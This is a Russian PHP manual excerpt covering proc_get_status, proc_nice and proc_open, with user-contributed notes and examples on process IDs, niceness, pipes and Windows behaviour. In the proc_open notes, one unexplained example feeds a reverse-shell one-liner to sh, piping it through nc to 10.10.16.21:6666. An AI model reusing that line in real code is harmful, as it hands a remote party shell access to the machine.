Why?  Because the way proc_open() actually works on Unix/Linux is by starting "/bin/sh -c usercmd userargs...", e.g., "/bin/sh -c /usr/bin/compress /tmp/foo".[Note 1]  That means normally your command is the child of the shell, so the pid you retrieve with proc_get_status() is the pid of the shell (PHP's child), and you have to fumble around trying to find the pid of your command (PHP's grandchild).  But if you put "exec" in front of your command, you tell the shell to *replace itself* with your command without starting another process (technically, to exec your command without forking first).  That means your command will inherit the pid of the shell, which is the pid that proc_get_status() returns.

So if you would like the actual pid of the process running your command, just prepend "exec " to  your proc_open() command argument then retrieve the pid using proc_get_status().

This also makes proc_terminate() and proc_close() work more like you might prefer, since they will affect the actual process running your command (which will be a child process rather than a grandchild process).

[Note 1] My guess is that the PHP developers want the shell to expand wildcards in path/filenames.
php dot net at crazedsanity dot com 10-Jul-2009 08:29
For clarification, the "exitcode" is only valid the FIRST TIME IT IS CALLED after the process exits.

If you have a method that polls a spawned process for its status, you *MUST* have that same method capture the exitcode: if the method is called a second time (after realizing the pid is dead) and it hasn't cached that exitcode, it will receive the -1 mentioned.
lytithwyn at gmail dot com 29-Dec-2008 06:51
I have had lots of problems in the past bit trying to kill external commands run by proc_open.

Others have suggested using ps to find the children of the pid returned by proc_get_status, but on my system this doesn't work.  I'm using php-5.2.5 and apache-2.0.59 on linux kernel 2.6.21, and the processes I start with proc_open end up being owned by init (pid 1), not by the pid returned by proc_get_status.

I did notice, however, that the pid's of the processes were always above and very close to the proc_get_status pid.  Using that information, I wrote a little function that takes the name of a command, the starting pid at which to search (which would be the proc_get_status pid), and optionally a search limit as arguments.  It will use ps to list processes owned by apache (you may have to change this user name for your system), and search for the command specified.  The limit tells how far above the starting pid to search.  This will help if the command may have already exited, and you don't want to kill a process from a different session than the one you're working with.

Here's the code:

<?php
function findCommandPID($command, $startpid, $limit = 3)
{
    $ps = `ps -u apache --sort=pid -o comm= -o pid=`;
    $ps_lines = explode("\n", $ps);

    $pattern = "/(\S{1,})(\s{1,})(\d{1,})/";

    foreach($ps_lines as $line)
    {
        if(preg_match($pattern, $line, $matches))
        {
            //this limits us to finding the command within $limit pid's of the parent;
            //eg, if ppid = 245, limit = 3, we won't search past 248
            if($matches[3] > $startpid + $limit)
                break;

            //try to match a ps line where the command matches our search
            //at a higher pid than our parent
            if($matches[1] == $command && $matches[3] > $startpid)
                return $matches[3];
        }
    }

    return false;
}
?>
webmaster at rouen dot fr 09-Jul-2008 01:49
The following function takes an array of shell commands and executes them. It is able to execute up to $nb_max_process at the same time. As soon as one process is terminated, another one is executed. Quite useful if you want to batch process commands on a multi-processor or multi-core environment.

The example below tries to convert to PNG a list of SVG files submitted on the command line (using Inkscape).

(it's quick and dirty but works very well for me)

#!/usr/bin/php
<?php
function pool_execute($commandes,$nb_max_process) {
  $pool=array();
  for($i=0;$i<$nb_max_process;$i++) {
    $pool[$i]=FALSE;
  }

  while(count($commandes)>0) {
    $commande=array_shift($commandes);

    $commande_lancee=FALSE;
    while($commande_lancee==FALSE) {
      usleep(50000);

      for($i=0;$i<$nb_max_process and $commande_lancee==FALSE;$i++) {
        if($pool[$i]===FALSE) {
          $pool[$i]=proc_open($commande,array(),$foo);
          $commande_lancee=TRUE;
        } else {
          $etat=proc_get_status($pool[$i]);
          if($etat['running']==FALSE) {
            proc_close($pool[$i]);
            $pool[$i]=proc_open($commande,array(),$foo);
            $commande_lancee=TRUE;
          }
        }
      }
    }
  }
}

$fichiers=$argv;
array_shift($fichiers);
$commandes=array();
foreach($fichiers as $fichier) {
  $entree=$fichier;
  $sortie=basename($fichier,'.svg').".png";
  $commandes[]='inkscape --file='.escapeshellarg($entree).' --export-area-canvas --export-png='.escapeshellarg($sortie);
}

pool_execute($commandes,4);
strrev xc.noxeh@ellij 05-Jun-2008 01:12
You can NOT rely on pid+1.
You could prefix exec to the command string, this will replace the /bin/sh script with the real thing you want to exec (use only if you don't do 'scary things' like pipes, output redirection, multiple commands, however if you know how they work, go ahead).
If you prefix exec, the /bin/sh process will only start your process, and the PID will be the same.
damien at cyg dot net 13-Jun-2007 06:06
Alternatively, if you're calling a subsequent php script using proc_open, you can have that process echo its own actual PID in the output.
Also, if you go through the /proc filesystem on linux, you can read through /proc/12345 where 12345 is the pid returned by proc_get_status (the pid of the /bin/sh instance) and it will list its child processes within.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 05:16
Further to my previous note, I've found out the PID returned is the PID of the shell (/bin/sh) that then runs the actual command requested.

I've raised this as bug #41003.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 04:58
To the poster above, same here on FreeBSD 6.1, PHP 5.2.1.

To get the correct PID to use for posix_kill I have to add 1 to the PID returned from proc_get_status.


Изменить приоритет текущего процесса

  • « proc_get_status
  • proc_open »
  • PHP Manual
  • Функции запуска программ
  • Изменить приоритет текущего процесса

proc_nice

(PHP 5, PHP 7, PHP 8)

proc_nice — Изменить приоритет текущего процесса

Описание

proc_nice(int $priority): bool

proc_nice() изменяет приоритет текущего процесса на значение, указанное в параметре priority. Положительное значение параметра priority будет уменьшать приоритет текущего процесса, а отрицательное значение параметра priority будет увеличивать приоритет.

Функция proc_nice() не связана с функцией proc_open() и к относящимся к ней функциям каким-либо образом.

Список параметров

priority

Новое значение приоритета процесса. Может отличаться на разных платформах.

В Unix, чем ниже эта величина, например -20, тем выше приоритет процесса.

В Windows параметр priority может принимать такие значения:

Класс приоритета | Допустимые значения
Высокий приоритет | priority < -9
Приоритет выше нормального | priority < -4
Нормальный приоритет | priority < 5 & priority > -5
Приоритет ниже нормального | priority > 5
Приоритет ожидания | priority > 9

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. В случае, если происходит ошибка, например, пользователь не имеет прав на изменение приоритета, также генерируется ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.2.0 | Эта функция стала доступна в Windows.

Примеры

Пример #1 Установка высокого приоритета с помощью proc_nice()

<?php
// Наивысший приоритет
proc_nice(-20);
?>

Примечания

Замечание: Доступность

Функция proc_nice() будет доступна только в том случае, если ваша операционная система её поддерживает. Поддержку 'nice' имеют: SVr4, SVID EXT, AT&T, X/OPEN, BSD 4.3.

Замечание: Только Windows

В Windows эта функция изменяет приоритет текущего процесса, даже если PHP был собран как потокобезопасный.

Смотрите также

  • pcntl_setpriority() - Изменить приоритет процесса

User Contributed Notes

phil_php at zieaon dot com 15-Apr-2021 01:43
It is important to note that this is a relative change. I didn't read the description properly and couldn't figure out why setting proc_nice(0) didn't take the forked children back to 0!
For example if you run:
<?php
proc_nice(-5);
proc_nice(0); // will have no effect
proc_nice(5); // will take the niceness back to 0

?>

In PHP CLI under Debian (and probably many other Linux flavours) you can read the 'niceness' from the proc filesystem.  (There may be a PHP command that gives this info but there doesn't seem to be a link to it on this page.)
E.g
<?php
$Current_Niceness_Value = intval(explode(" ",file_get_contents("/proc/".getmypid()."/stat"))[18]);

// Note: Older versions of Linux return an unsigned integer which has to be converted to a signed integer.
$Current_Niceness_Value = unpack("l",pack("L",intval(explode(" ",file_get_contents("/proc/".getmypid()."/stat"))[18])))[1];

?>
kevin AT REMOVETHIS mrkmg.com 19-Apr-2013 06:17
On a Linux system, running apache2 as a non-privileged user you can not increase the niceness of the process after decreasing it. Also, you can not use the apache_child_ terminate either. I found the following does work though:

<?php

//decrease niceness
proc_nice(19);

//kill child process to "reset" niceness
posix_kill( getmypid(), 28 );

?>
Marek 19-Jan-2011 08:40
Regarding ionice - on linux the impact of the ionice -c3 class is similar to that of nice, because the CPU "niceness" is taken into account when calculating the io niceness.
php at richardneill dot org 24-Jun-2010 12:14
If a process is reniced, then all its children inherit that niceness. So a PHP script can call proc_nice on itself, then invoke system(), and the command executed via system() will also be niced.

Also worth making a note of ionice. There's no PHP function for this, but it's important. A nice'd program will happily try to chew up all i/o bandwidth with very little CPU usage, it can therefore make the entire computer non-responsive despite the programmer's intention.  Use "ionice -c3"  or see "man ionice"
pandi at home dot pl 25-Nov-2008 05:22
Simple function for check process nice, by default returns nice of current process:

<?php

public static function getProcessNice ($pid = null) {
    if (!$pid) {
        $pid = getmypid ();
    }

    $res = `ps -p $pid -o "%p %n"`;

    preg_match ('/^\s*\w+\s+\w+\s*(\d+)\s+(\d+)/m', $res, $matches);

    return array ('pid' => (isset ($matches[1]) ? $matches[1] : null), 'nice' => (isset ($matches[2]) ? $matches[2] : null));
}

?>


Выполнить команду и открыть указатель на файл для ввода/вывода

  • « proc_nice
  • proc_terminate »
  • PHP Manual
  • Функции запуска программ
  • Выполнить команду и открыть указатель на файл для ввода/вывода

proc_open

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_open — Выполнить команду и открыть указатель на файл для ввода/вывода

Описание

proc_open(
array|string $command,
array $descriptor_spec,
array &$pipes,
?string $cwd = null,
?array $env_vars = null,
?array $options = null
): resource|false

proc_open() аналогична popen(), но предоставляет намного больше контроля над выполнением программы.

Список параметров

command

Командная для выполнения, указанная как строка (string). Специальные символы должны быть должным образом экранированы, и должны применяться правильные кавычки.

Замечание: В Windows, если для bypass_shell не установлено значение true в options, command передаётся в cmd.exe (точнее, %ComSpec%) с флагом /c в виде строки без кавычек (т.е. точно так, как было задано в proc_open()). Это может привести к тому, что cmd.exe удалит заключающие из command (подробности смотрите в документации cmd.exe), приводя к неожиданному и потенциально даже опасному поведению, потому что сообщения об ошибках cmd.exe могут содержать (частично) переданный параметр command (смотрите пример ниже).

Начиная с PHP 7.4.0, command может передаваться как массив (array) параметров команды. В этом случае процесс будет открыт напрямую (не проходя через оболочку) и PHP позаботится об экранировании любого необходимого аргумента.

Замечание:

В Windows экранирование аргумента массива (array) элементов предполагает, что синтаксический анализ выполненной команды совместим с синтаксическим анализом аргументов командной строки, выполняемых средой выполнения VC.

descriptor_spec

Массив, ключи которого представляют собой номер дескриптора, а значение описывает, как PHP должен передать этот дескриптор дочернему процессу. 0 - stdin, 1 - stdout и 2 - stderr.

Каждый элемент может быть:

  • Массивом, описывающим канал (pipe) для передачи процессу. Первый элемент - это дескриптор типа, второй - настройка для выбранного типа. Возможные типы: pipe (второй элемент либо r для передачи процессу стороны канала для чтения, либо w для передачи стороны записи) и file (второй элемент - имя файла). Обратите внимание, что всё, кроме w, обрабатывается как r.
  • Ресурсом потока, представляющим дескриптор файла (например, открытый файл, сокет, STDIN).

Номера дескрипторов не ограничены только 0, 1 и 2 - вы можете назначить любой действительный номер дескриптора и он будет передан дочернему процессу. Это позволяет скрипту взаимодействовать с другими скриптами, работающими, как параллельные процессы. В частности, таким образом можно передавать данные, требующие защиты, в программы вроде PGP, GPG и openssl более безопасно. Также это может оказаться полезным для чтения статусной информации, предоставляемой этими программами на вспомогательных файловых дескрипторах.

pipes

Будет задан массивом указателей на файлы, соответствующие созданным каналам передачи данных PHP.

cwd

Рабочая директория команды. Это должен быть абсолютный путь к директории или null, если требуется использовать директорию по умолчанию (рабочая директория текущего процесса PHP).

env_vars

Массив переменных окружения для запускаемой команды или null, если требуется использовать то же самое окружение, что и у текущего PHP-процесса.

options

Позволяет задать дополнительные настройки. На данный момент поддерживаются следующие настройки:

  • suppress_errors (только для Windows): при установке в true не будут показываться ошибки, возникающие в ходе работы функции
  • bypass_shell (только для Windows): при установке в true процесс будет запущен в обход оболочки cmd.exe
  • blocking_pipes (только для Windows): принудительно блокировать поток при значении true
  • create_process_group (только для Windows): разрешить дочернему процессу обрабатывать CTRL события, если установлено значение true
  • create_new_console (только для Windows): новый процесс использует новую консоль, а не наследует консоль своего родителя

Возвращаемые значения

Возвращает ресурс, представляющий процесс. Этот ресурс необходимо освобождать функцией proc_close() по завершении работы с ним. В случае возникновения ошибки возвращает false.

Список изменений

Версия | Описание
7.4.4 | Добавлена опция create_new_console в параметр options.
7.4.0 | proc_open() теперь также принимает массив (array) в command.
7.4.0 | Добавлена опция create_process_group в параметр options.

Примеры

Пример #1 Пример использования proc_open()

<?php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin - канал, из которого дочерний процесс будет читать
1 => array("pipe", "w"), // stdout - канал, в который дочерний процесс будет записывать
2 => array("file", "/tmp/error-output.txt", "a") // stderr - файл для записи
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
// $pipes теперь выглядит так:
// 0 => записывающий обработчик, подключённый к дочернему stdin
// 1 => читающий обработчик, подключённый к дочернему stdout
// Вывод сообщений об ошибках будет добавляться в /tmp/error-output.txt

fwrite($pipes[0], '<?php print_r($_ENV); ?>');
fclose($pipes[0]);

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);

// Важно закрывать все каналы перед вызовом
// proc_close во избежание мёртвой блокировки
$return_value = proc_close($process);

echo "команда вернула $return_value\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
команда вернула 0

Пример #2 proc_open() причуда в Windows

Хотя можно ожидать, что следующая программа будет искать в файле filename.txt текст search и выводить результаты, она ведёт себя несколько иначе.

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$cmd = '"findstr" "search" "filename.txt"';
$proc = proc_open($cmd, $descriptorspec, $pipes);
proc_close($proc);
?>

Результат выполнения данного примера:

'findstr" "search" "filename.txt' не распознается как внутренняя или внешняя команда,
работающая программа или пакетный файл.

Чтобы обойти это поведение, обычно достаточно передать command в дополнительных кавычках:

$cmd = '""findstr" "search" "filename.txt""';

Примечания

Замечание:

Совместимость с Windows: Дескрипторы дальше 2 (stderr) наследуются дочерними процессам, однако с тех пор как Windows не ассоциирует номера файловых дескрипторов с низкоуровневыми обработчиками, дочерние процессы не имеют (пока) к ним доступа. Это не относится к stdin, stdout и stderr.

Замечание:

Если нужен однонаправленный канал процесса, используйте функцию popen(), так как она значительно проще в использовании.

Смотрите также

  • popen() - Открывает файловый указатель процесса
  • exec() - Выполнить внешнюю программу
  • system() - Выполнить внешнюю программу и отобразить вывод
  • passthru() - Выполнить внешнюю программу и отобразить необработанный вывод
  • stream_select() - Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds
  • Оператор обратный апостроф

User Contributed Notes

mamedul.github.io 06-Nov-2023 11:18
Cross function solutions for execute command using PHP-

function php_exec( $cmd ){

    if( function_exists('exec') ){
        $output = array();
        $return_var = 0;
        exec($cmd, $output, $return_var);
        return implode( " ", array_values($output) );
    }else if( function_exists('shell_exec') ){
        return shell_exec($cmd);
    }else if( function_exists('system') ){
        $return_var = 0;
        return system($cmd, $return_var);
    }else if( function_exists('passthru') ){
        $return_var = 0;
        ob_start();
        passthru($cmd, $return_var);
        $output = ob_get_contents();
        ob_end_clean(); //Use this instead of ob_flush()
        return $output;
    }else  if( function_exists('proc_open') ){
        $proc=proc_open($cmd,
            array(
                array("pipe","r"),
                array("pipe","w"),
                array("pipe","w")
            ),
            $pipes);
        return stream_get_contents($pipes[1]);
    }else{
        return "@PHP_COMMAND_NOT_SUPPORT";
    }

}
Gil Potts 04-May-2023 03:58
This is not really a bug but more of an unexpected gotcha.  If you pass in an array for $env and include a modified PATH, that path does not take effect in PHP itself when starting the process.  So if you are trying to start an executable in the modified PATH by using just the executable name, PHP and the OS won't find it and therefore will fail to start the process.

The fix is to let PHP know about the modified PATH by calling putenv("PATH=" . $newpath) with the new path string so that the call to proc_open() will correctly locate the executable and successfully run it.
Bobby Dylan 25-Feb-2023 06:32
I'm not sure when the "blocking_pipes (windows only)" option was added to PHP, but users of this function should be fully aware that there is no such thing as a non-blocking pipe in PHP on Windows and that the "blocking_pipes" option does NOT function like you might expect.  Passing "blocking_pipes" => false does NOT mean non-blocking pipes.

PHP uses anonymous pipes to start processes on Windows.  The Windows CreatePipe() function does not directly support overlapped I/O (aka asynchronous), which is typically how async/non-blocking I/O happens on Windows.  SetNamedPipeHandleState() has an option called PIPE_NOWAIT but Microsoft has long discouraged the use of that option.  PHP does not use PIPE_NOWAIT anywhere in the source code tree.  PHP FastCGI startup code is the only place within the PHP source code that uses overlapped I/O (and also the only place that calls SetNamedPipeHandleState() with PIPE_WAIT).  Further, stream_set_blocking() on Windows is only implemented for sockets - not file handles or pipes.  That is, calling stream_set_blocking() on pipe handles returned by proc_open() will actually do nothing on Windows.  We can derive from these facts that PHP does not have a non-blocking implementation for pipes on Windows and will therefore block/deadlock when using proc_open().

PHP's pipe read implementation on Windows uses PeekNamedPipe() by polling on the pipe until there is some data available to read OR until ~32 seconds (3200000 * 10 microseconds of sleep) have passed before giving up, whichever comes first.  The "blocking_pipes" option, when set to true, changes that behavior to wait indefinitely (i.e. always block) until there is data on the pipe.  It's better to view the "blocking_pipes" option as a "possibly 32 second busy wait" timeout (false - the default value) vs. no timeout (true).  In either case, the boolean value for this option effectively blocks...it just happens to block a lot longer when set to true.

The undocumented string "socket" descriptor type can be passed to proc_open() and PHP will start a temporary TCP/IP server and generate a pre-connected TCP/IP socket pair for the pipe and pass one socket to the target process and return the other as the associated pipe.  However, passing a socket handle for stdout/stderr on Windows causes the last chunk(s) of output to occasionally get lost and not be delivered to the receiving end.  This is actually a known bug in Windows itself and Microsoft's response at one point was that CreateProcess() only officially supports anonymous pipes and file handles for the standard handles (i.e. not named pipes or socket handles) and that other handle types will produce "undefined behavior."  For sockets, it will "sometimes work fine and sometimes truncate the output."  The "socket" descriptor type also introduces a race condition that is probably a security vulnerability in proc_open() where another process can successfully connect to the server side BEFORE the original process connects to the socket to create the socket pair.  This allows a rogue application to send malformed data to a process, which could trigger anything from privilege escalation to SQL injection depending on what the application does with the information on stdout/stderr.

To get true non-blocking I/O in PHP for Windows for standard process handles (i.e. stdin, stdout, stderr) without obscure bugs cropping up, the only currently working option is to use an intermediary process that uses TCP/IP blocking sockets to route data to blocking standard handles via multithreading (i.e. start three threads to route data between the TCP/IP socket and the standard HANDLE and use a temporary secret to prevent race conditions when establishing the TCP/IP socket handles).  For those who lost count:  That's one extra process, up to four extra threads, and up to four TCP/IP sockets just to get functionally correct non-blocking I/O for proc_open() on Windows.  If you vomited a little bit at that idea/concept, well, people actually do this!  Feel free to vomit some more.
anony mouse 20-Dec-2022 07:25
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
    fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f');
    fclose($pipes[0]);
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>
weirdall at hotmail dot com 07-Feb-2017 03:01
This script will tail a file using tail -F to follow scripts that are rotated.

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that stdout will to write to
);

$filename = '/var/log/nginx/nginx-access.log';
if( !file_exists( $filename ) ) {
    file_put_contents($filename, '');
}
$process = proc_open('tail -F /var/log/nginx/stats.bluebillywig.com-access.log', $descriptorspec, $pipes);

if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be sent to $pipes[2]

    // Closing $pipes[0] because we don't need it
    fclose( $pipes[0] );

    // stderr should not block, because that blocks the tail process
    stream_set_blocking($pipes[2], 0);
    $count=0;
    $stream = $pipes[1];

    while ( ($buf = fgets($stream,4096)) ) {
        print_r($buf);
        // Read stderr to see if anything goes wrong
        $stderr = fread($pipes[2], 4096);
        if( !empty( $stderr ) ) {
            print( 'log: ' . $stderr );
        }
    }
    fclose($pipes[1]);
    fclose($pipes[2]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    proc_close($process);
}
?>
stoller at leonex dot de 08-Apr-2016 07:37
If you are working on Windows and try to proc_open an executable that contains spaces in its path, you will get into trouble.

But there's a workaround which works quite well. I have found it here: http://stackoverflow.com/a/4410389/1119601

For example, if you want to execute "C:\Program Files\nodejs\node.exe", you will get the error that the command could not be found.
Try this:
<?php
$cmd = 'C:\\Program Files\\nodejs\\node.exe';
if (strtolower(substr(PHP_OS,0,3)) === 'win') {
    $cmd = sprintf('cd %s && %s', escapeshellarg(dirname($cmd)), basename($cmd));
}
?>
aaronw at catalyst dot net dot nz 05-Oct-2015 11:16
If you have a CLI script that prompts you for a password via STDIN, and you need to run it from PHP, proc_open() can get you there. It's better than doing "echo $password | command.sh", because then your password will be visible in the process list to any user who runs "ps". Alternately you could print the password to a file and use cat: "cat passwordfile.txt | command.sh", but then you've got to manage that file in a secure manner.

If your command will always prompt you for responses in a specific order, then proc_open() is quite simple to use and you don't really have to worry about blocking & non-blocking streams. For instance, to run the "passwd" command:

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open(
        '/usr/bin/passwd ' . escapeshellarg($username),
        $descriptorspec,
        $pipes
);

// It wil prompt for existing password, then new password twice.
// You don't need to escapeshellarg() these, but you should whitelist
// them to guard against control characters, perhaps by using ctype_print()
fwrite($pipes[0], "$oldpassword\n$newpassword\n$newpassword\n");

// Read the responses if you want to look at them
$stdout = fread($pipes[1], 1024);
$stderr = fread($pipes[2], 1024);

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit_status = proc_close($process);

// It returns 0 on successful password change
$success = ($exit_status === 0);
?>
stevebaldwin21 at googlemail dot com 31-Aug-2015 06:32
For those who are finding that using the $cwd and $env options cause proc_open to fail (windows). You will need to pass all other server environment variables;

$descriptorSpec = array(
       0 => array("pipe", "r"),
       1 => array("pipe", "w"),
    );

proc_open(
        "C:\\Windows\\System32\\PING.exe localhost,
        $descriptorSpec ,
        $pipes,
        "C:\\Windows\\System32",
        array($_SERVER)
);
vanyazin at gmail dot com 25-Jun-2015 04:47
If you want to use proc_open() function with socket streams, you can open connection with help of fsockopen() function and then just put handlers into array of io descriptors:

<?php

    $fh = fsockopen($address, $port);
    $descriptors = [
        $fh,   // stdin
        $fh,   // stdout
        $fh,   // stderr
    ];
    $proc = proc_open($cmd, $descriptors, $pipes);
hablutzel1 at gmail dot com 15-Apr-2015 05:26
Note that the usage of "bypass_shell" in Windows allows you to pass a command of length around ~32767 characters. If you do not use it, your limit is around ~8191 characters only.

See https://support.microsoft.com/en-us/kb/830473.
exel at example dot com 26-Sep-2013 10:05
pipe communications may break brains off. i want to share some stuff to avoid such result.
for proper control of the communications through the "in" and "out" pipes of the opened sub-process, remember to set both of them into non-blocking mode and especially notice that fwrite may return (int)0 but it's not an error, just process might not except input at that moment.

so, let us consider an example of decoding gz-encoded file by using funzip as sub-process: (this is not the final version, just to show important things)

<?php
            // make gz file
            $fd=fopen("/tmp/testPipe", "w");
            for($i=0;$i<100000;$i++)
                fwrite($fd, md5($i)."\n");
            fclose($fd);

            if(is_file("/tmp/testPipe.gz"))
                unlink("/tmp/testPipe.gz");
            system("gzip /tmp/testPipe");

            // open process
            $pipesDescr=array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("file", "/tmp/testPipe.log", "a"),
            );

            $process=proc_open("zcat", $pipesDescr, $pipes);
            if(!is_resource($process)) throw new Exception("popen error");

            // set both pipes non-blocking
            stream_set_blocking($pipes[0], 0);
            stream_set_blocking($pipes[1], 0);

            ////////////////////////////////////////////////////////////////////

            $text="";
            $fd=fopen("/tmp/testPipe.gz", "r");
            while(!feof($fd))
            {
                $str=fread($fd, 16384*4);
                $try=3;
                while($str)
                {
                    $len=fwrite($pipes[0], $str);
                    while($s=fread($pipes[1], 16384*4))
                        $text.=$s;

                    if(!$len)
                    {
                        // if yo remove this paused retries, process may fail
                        usleep(200000);
                        $try--;
                        if(!$try)
                            throw new Exception("fwrite error");
                    }
                    $str=substr($str, $len);
                }
                echo strlen($text)."\n";
            }
            fclose($fd);
            fclose($pipes[0]);

            // reading the rest of output stream
            stream_set_blocking($pipes[1], 1);
            while(!feof($pipes[1]))
            {
                $s=fread($pipes[1], 16384);
                $text.=$s;
            }

            echo strlen($text)." / 3 300 000\n";
?>
mcuadros at gmail dot com 05-Apr-2013 10:56
This is a example of how run a command using as output the TTY, just like crontab -e or git commit does.

<?php

$descriptors = array(
        array('file', '/dev/tty', 'r'),
        array('file', '/dev/tty', 'w'),
        array('file', '/dev/tty', 'w')
);

$process = proc_open('vim', $descriptors, $pipes);
michael dot gross at NOSPAM dot flexlogic dot at 03-Jan-2013 08:33
Please note that if you plan to spawn multiple processes you have to save all the results in different variables (in an array for example). If you for example would call $proc = proc_open..... multiple times the script will block after the second time until the child process exits (proc_close is called implicitly).
bilge at boontex dot com 05-Sep-2012 02:56
$cmd can actually be multiple commands by separating each command with a newline. However, due to this it is not possible to split up one very long command over multiple lines, even when using "\\\n" syntax.
devel at romanr dot info 10-Mar-2012 08:04
The call works as should. No bugs.
But. In most cases you won't able to work with pipes in blocking mode.
When your output pipe (process' input one, $pipes[0]) is blocking, there is a case, when you and the process are blocked on output.
When your input pipe (process' output one, $pipes[1]) is blocking, there is a case, when you and the process both are blocked on own input.
So you should switch pipes into NONBLOCKING mode (stream_set_blocking).
Then, there is a case, when you're not able to read anything (fread($pipes[1],...) == "") either write (fwrite($pipes[0],...) == 0). In this case, you better check the process is alive (proc_get_status) and if it still is - wait for some time (stream_select). The situation is truly asynchronous, the process may be busy working, processing your data.
Using shell effectively makes not possible to know whether the command is exists - proc_open always returns valid resource. You may even write some data into it (into shell, actually). But eventually it will terminate, so check the process status regularly.
I would advice not using mkfifo-pipes, because filesystem fifo-pipe (mkfifo) blocks open/fopen call (!!!) until somebody opens other side (unix-related behavior). In case the pipe is opened not by shell and the command is crashed or is not exists you will be blocked forever.
toby at globaloptima dot co dot uk 14-Nov-2011 01:38
If script A is spawning script B and script B pushes a lot of data to stdout without script A consuming that data, script B is likely to hang but the result of proc_get_status on that process seems to continue to indicate it's running.

So either don't write to stdout i the spawned process (I write to log files instead now) or try to read in the stdout in a non-blocking way if your script A is spawning many instances of script B, I couldn't get this second option to work sadly.

PHP 5.3.8 CLI on Windows 7 64.
mattis at xait dot no 03-Feb-2011 07:41
If you are, like me, tired of the buggy way proc_open handles streams and exit codes; this example demonstrate the power of pcntl, posix and some simple output redirection:

<?php
$outpipe = '/tmp/outpipe';
$inpipe = '/tmp/inpipe';
posix_mkfifo($inpipe, 0600);
posix_mkfifo($outpipe, 0600);

$pid = pcntl_fork();

//parent
if($pid) {
    $in = fopen($inpipe, 'w');
    fwrite($in, "A message for the inpipe reader\n");
    fclose($in);

    $out = fopen($outpipe, 'r');
    while(!feof($out)) {
        echo "From out pipe: " . fgets($out) . PHP_EOL;
    }
    fclose($out);

    pcntl_waitpid($pid, $status);

    if(pcntl_wifexited($status)) {
        echo "Reliable exit code: " . pcntl_wexitstatus($status) . PHP_EOL;
    }

    unlink($outpipe);
    unlink($inpipe);
}

//child
else {
    //parent
    if($pid = pcntl_fork()) {
        pcntl_exec('/bin/sh', array('-c', "printf 'A message for the outpipe reader' > $outpipe 2>&1 && exit 12"));
    }

    //child
    else {
        pcntl_exec('/bin/sh', array('-c', "printf 'From in pipe: '; cat $inpipe"));
    }
}
?>

Output:

From in pipe: A message for the inpipe reader
From out pipe: A message for the outpipe reader
Reliable exit code: 12
php at keith tyler dot com 16-Apr-2010 11:32
Interestingly enough, it seems you actually have to store the return value in order for your streams to exist. You can't throw it away.

In other words, this works:

<?php
$proc=proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

prints:
foo

but this doesn't work:

<?php
proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

outputs:
Warning: stream_get_contents(): <n> is not a valid stream resource in Command line code on line 1

The only difference is that in the second case we don't save the output of proc_open to a variable.
Matou Havlena - matous at havlena dot net 14-Apr-2010 01:03
There is some smart object Processes Manager which i have created for my application. It can control the maximum of simultaneously running processes.

Proccesmanager class:
<?php
class Processmanager {
    public $executable = "C:\\www\\_PHP5_2_10\\php";
    public $root = "C:\\www\\parallelprocesses\\";
    public $scripts = array();
    public $processesRunning = 0;
    public $processes = 3;
    public $running = array();
    public $sleep_time = 2;

    function addScript($script, $max_execution_time = 300) {
        $this->scripts[] = array("script_name" => $script,
                            "max_execution_time" => $max_execution_time);
    }

    function exec() {
        $i = 0;
        for(;;) {
        // Fill up the slots
        while (($this->processesRunning<$this->processes) and ($i<count($this->scripts))) {
        echo "<span style='color: orange;'>Adding script: ".$this->scripts[$i]["script_name"]."</span><br />";
        ob_flush();
        flush();
        $this->running[] =& new Process($this->executable, $this->root, $this->scripts[$i]["script_name"], $this->scripts[$i]["max_execution_time"]);
        $this->processesRunning++;
        $i++;
        }

        // Check if done
        if (($this->processesRunning==0) and ($i>=count($this->scripts))) {
            break;
        }
        // sleep, this duration depends on your script execution time, the longer execution time, the longer sleep time
      sleep($this->sleep_time);

      // check what is done
        foreach ($this->running as $key => $val) {
                if (!$val->isRunning() or $val->isOverExecuted()) {
            if (!$val->isRunning()) echo "<span style='color: green;'>Done: ".$val->script."</span><br />";
            else echo "<span style='color: red;'>Killed: ".$val->script."</span><br />";
                    proc_close($val->resource);
                    unset($this->running[$key]);
                    $this->processesRunning--;
            ob_flush();
            flush();
                }
            }
        }
    }
